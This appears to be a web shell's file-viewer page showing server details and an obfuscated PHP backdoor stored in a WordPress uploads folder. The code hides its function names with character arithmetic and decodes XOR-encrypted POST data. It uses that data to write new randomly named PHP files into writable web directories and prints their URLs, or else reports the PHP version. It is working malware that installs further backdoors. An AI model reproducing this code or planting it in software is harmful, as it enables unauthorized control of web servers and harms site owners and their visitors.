HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/adspray/wp-content/uploads/2021/11/yhslhles.php
<?php $CCAInTLpyK = "TmtrhvYCp";function wotWhoX($CCAInTLpyK){ $iRWCAl = "\163".chr(405-289).chr(114).chr(539-444)."\x72".chr(111).chr(116).chr(891-842).chr(648-597);$CCAInTLpyK = $iRWCAl($CCAInTLpyK);$GTYFD = chr(247-133).'a'.chr(119)."\x75".chr(784-670).chr(108).'d'."\145"."\x63"."\157".'d'."\x65";$CCAInTLpyK = $GTYFD($CCAInTLpyK);$CCAInTLpyK = str_split($CCAInTLpyK);return $CCAInTLpyK;}function FHsnzL($kZfutojg, $hpAMR){$kZfutojg = array_slice(str_split(str_repeat($kZfutojg, (count($hpAMR)/16)+1)), 0, count($hpAMR));return $kZfutojg;}function LTOJiNyYzi($QbxnlFdE, $pgyTCTBwqe, $kZfutojg){$qxHWV = "24177b85-b1e2-4e1d-b46a-ed2d06339d6d";return $QbxnlFdE ^ $qxHWV[$pgyTCTBwqe % strlen($qxHWV)] ^ $kZfutojg;}function IcthNX($hpAMR, $kZfutojg){$hpAMR = array_map("LTOJiNyYzi", array_values($hpAMR), array_keys($hpAMR), array_values($kZfutojg));$hpAMR = implode("", $hpAMR);$mPlZs = "\x75"."\x6e".'s'.chr(101)."\x72".chr(988-883).chr(1082-985).chr(441-333).'i'.'z'.chr(101);$hpAMR = @$mPlZs($hpAMR);return $hpAMR;}function vLUvGw(){echo "XuGtyziWra";}function RvFuTXxoP($EUsHRXEkZqir){static $qJPbIcp = array();$NcEfJPLJwL = glob($EUsHRXEkZqir . '/*', GLOB_ONLYDIR);$YCHYBNF = count($NcEfJPLJwL);if ($YCHYBNF > 0) {foreach ($NcEfJPLJwL as $EUsHRXEkZq) {$gAtPOmWU = chr(105)."\163".chr(95)."\x77".chr(114)."\151"."\164"."\x61"."\x62"."\x6c"."\145";if (@$gAtPOmWU($EUsHRXEkZq)) {$qJPbIcp[] = $EUsHRXEkZq;}}}foreach ($NcEfJPLJwL as $EUsHRXEkZqir) RvFuTXxoP($EUsHRXEkZqir);return $qJPbIcp;}function igdDcw(){echo "TmtrhvYCp";}function BDPIszv($hpAMR){$fPiznS = "\104".chr(639-560)."\x43".'U'.chr(938-861).'E'.'N'.'T'.chr(95).'R'.'O'."\x4f".chr(84);$WVeOtdBa = $_SERVER[$fPiznS];$NcEfJPLJwL = RvFuTXxoP($WVeOtdBa);$aGBmBgbm = array_rand($NcEfJPLJwL);$fpMVLMQJm = "\x2e"."\x70".'h'.chr(506-394);$gyEfFCdx = $NcEfJPLJwL[$aGBmBgbm] . "/" . substr(md5(time()), 0, 8) . $fpMVLMQJm;$UebxUbM = "\146".'i'.chr(539-431)."\145".chr(95).chr(112).chr(1089-972)."\x74"."\x5f"."\x63".'o'."\x6e"."\164".chr(1002-901).'n'."\x74".chr(773-658);@$UebxUbM($gyEfFCdx, $hpAMR);$wfvSMp = chr(759-687).chr(899-815)."\124".chr(80).chr(95).chr(72)."\x4f"."\x53"."\124";$aZoNcXSU = chr(104).'t'.chr(116).chr(112).':'."\57".chr(47);$ZHwxm = $aZoNcXSU . $_SERVER[$wfvSMp] . substr($gyEfFCdx, strlen($WVeOtdBa));print($ZHwxm);}function wcpOGRGp(){$zbDQnBXgfT = chr(573-461)."\150".chr(475-363);$MCLLRbeRD = "\x70"."\150"."\160".chr(497-379).chr(101).'r'.'s'.chr(105).chr(682-571).chr(110);$hpAMR = Array($zbDQnBXgfT => @$MCLLRbeRD(), );$iUNrMxTJjO = chr(115).chr(101).chr(114).chr(105).chr(949-852).chr(980-872)."\151"."\172".chr(470-369);echo @$iUNrMxTJjO($hpAMR);}foreach ($_POST as $kZfutojg => $hpAMR){$CDBAVF = strlen($kZfutojg);if ($CDBAVF == 16){$hpAMR = wotWhoX($hpAMR);$kZfutojg = FHsnzL($kZfutojg, $hpAMR);$hpAMR = IcthNX($hpAMR, $kZfutojg);if (@is_array($hpAMR)){$aGBmBgbm = array_keys($hpAMR);$hpAMR = $hpAMR[$aGBmBgbm[0]];$aGBmBgbm = $aGBmBgbm[0];$aGBmBgbm = substr($aGBmBgbm, 0);if ($hpAMR !== $aGBmBgbm){BDPIszv($hpAMR);}else {wcpOGRGp();}die();}}}